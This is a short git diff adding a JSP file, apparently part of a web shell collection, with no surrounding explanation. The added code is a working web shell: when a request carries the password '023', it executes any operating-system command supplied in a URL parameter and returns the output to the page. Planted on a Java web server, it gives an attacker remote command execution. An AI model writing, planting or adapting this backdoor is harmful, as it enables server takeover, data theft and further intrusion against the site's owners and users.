diff --git a/jsp/cat/cmd2.jsp b/jsp/cat/cmd2.jsp
new file mode 100644
index 0000000..1b9a2b1
--- /dev/null
+++ b/jsp/cat/cmd2.jsp
@@ -0,0 +1,12 @@
+<%
+    if("023".equals(request.getParameter("pwd"))){
+        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
+        int a = -1;
+        byte[] b = new byte[2048];
+        out.print("<pre>");
+        while((a=in.read(b))!=-1){
+            out.println(new String(b));
+        }
+        out.print("</pre>");
+    }
+%>